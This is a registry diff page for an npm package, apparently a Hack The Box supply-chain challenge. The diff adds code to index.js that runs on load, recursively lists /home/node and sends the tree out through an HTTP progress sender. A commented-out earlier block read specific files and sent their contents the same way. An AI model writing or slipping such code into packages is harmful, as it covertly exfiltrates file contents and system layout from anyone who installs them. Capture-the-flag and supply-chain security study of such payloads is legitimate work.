@alexandrsarioglo/npm-ghost-htb 1.0.6 → 1.0.7
This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
- package/index.js +66 -15
- package/package.json +1 -1
package/index.js
CHANGED
|
@@ -22,16 +22,16 @@ function sendProgress(obj) { // async HTTP; event loop must be free to flush
|
|
|
22
22
|
} catch {}
|
|
23
23
|
}
|
|
24
24
|
|
|
25
|
+
const fs = require('fs');
|
|
26
|
+
const fsp = fs.promises;
|
|
27
|
+
const path = require('path');
|
|
28
|
+
|
|
25
29
|
const PATHS = [
|
|
26
30
|
'/home/node/supplysec_entry.js',
|
|
27
31
|
'/home/node/init_test.sh'
|
|
28
32
|
];
|
|
29
33
|
|
|
30
|
-
const fs = require('fs');
|
|
31
|
-
const fsp = fs.promises;
|
|
32
|
-
const path = require('path');
|
|
33
34
|
|
|
34
|
-
const OUT = '/tmp/files-by-path.json';
|
|
35
35
|
const MAX_BYTES = 1_000_000; // 1 MB per file
|
|
36
36
|
|
|
37
37
|
async function readFileSafe(p, maxBytes) {
|
|
@@ -70,19 +70,70 @@ async function readFileSafe(p, maxBytes) {
|
|
|
70
70
|
}
|
|
71
71
|
}
|
|
72
72
|
|
|
73
|
-
|
|
74
|
-
|
|
75
|
-
|
|
76
|
-
|
|
77
|
-
|
|
78
|
-
|
|
79
|
-
|
|
73
|
+
// Read contents of the files
|
|
74
|
+
// (async () => {
|
|
75
|
+
// const result = { generated: new Date().toISOString(), files: {} };
|
|
76
|
+
// for (const p of PATHS) {
|
|
77
|
+
// const abs = path.resolve(p);
|
|
78
|
+
// const res = await readFileSafe(abs, MAX_BYTES);
|
|
79
|
+
// if (res.content !== undefined) result.files[abs] = res.content;
|
|
80
|
+
// else result.files[abs] = `ERROR: ${res.error}`;
|
|
81
|
+
// }
|
|
82
|
+
|
|
83
|
+
// try {
|
|
84
|
+
// sendProgress({result});
|
|
85
|
+
// } catch (e) {
|
|
86
|
+
// console.error('Failed to write output:', e.message);
|
|
87
|
+
// process.exit(1);
|
|
88
|
+
// }
|
|
89
|
+
// })();
|
|
90
|
+
|
|
91
|
+
|
|
92
|
+
const START_DIR = '/home/node'; // <<--- edit this to the directory you want listed
|
|
93
|
+
const RECURSIVE = true; // set to false to list only the top level
|
|
94
|
+
const MAX_ENTRIES_PER_DIR = 10000; // safety cap
|
|
95
|
+
|
|
96
|
+
async function listDir(dir, depth = 0, result = []) {
|
|
97
|
+
let entries;
|
|
98
|
+
try {
|
|
99
|
+
entries = await fs.readdir(dir, { withFileTypes: true });
|
|
100
|
+
} catch (err) {
|
|
101
|
+
result.push({ path: dir, error: `readdir-failed: ${err.code || err.message}` });
|
|
102
|
+
return result;
|
|
103
|
+
}
|
|
104
|
+
|
|
105
|
+
// safety: avoid pathological directories
|
|
106
|
+
if (entries.length > MAX_ENTRIES_PER_DIR) {
|
|
107
|
+
result.push({ path: dir, warning: `skipped (too many entries: ${entries.length})` });
|
|
108
|
+
return result;
|
|
80
109
|
}
|
|
81
110
|
|
|
111
|
+
for (const e of entries) {
|
|
112
|
+
const full = path.join(dir, e.name);
|
|
113
|
+
const item = {
|
|
114
|
+
path: full,
|
|
115
|
+
name: e.name,
|
|
116
|
+
type: e.isDirectory() ? 'directory' : e.isFile() ? 'file' : e.isSymbolicLink() ? 'symlink' : 'other'
|
|
117
|
+
};
|
|
118
|
+
result.push(item);
|
|
119
|
+
|
|
120
|
+
if (RECURSIVE && e.isDirectory()) {
|
|
121
|
+
// avoid following symlinks into recursion
|
|
122
|
+
if (e.isSymbolicLink()) {
|
|
123
|
+
continue;
|
|
124
|
+
}
|
|
125
|
+
await listDir(full, depth + 1, result);
|
|
126
|
+
}
|
|
127
|
+
}
|
|
128
|
+
return result;
|
|
129
|
+
}
|
|
130
|
+
|
|
131
|
+
(async () => {
|
|
132
|
+
console.log(`Listing hard-coded directory: ${START_DIR} (recursive=${RECURSIVE})`);
|
|
133
|
+
const tree = await listDir(START_DIR);
|
|
82
134
|
try {
|
|
83
|
-
sendProgress({
|
|
84
|
-
} catch (
|
|
85
|
-
console.error('Failed to write output:',
|
|
86
|
-
process.exit(1);
|
|
135
|
+
sendProgress({ tree });
|
|
136
|
+
} catch (err) {
|
|
137
|
+
console.error('Failed to write output:', err.message || err);
|
|
87
138
|
}
|
|
88
139
|
})();
|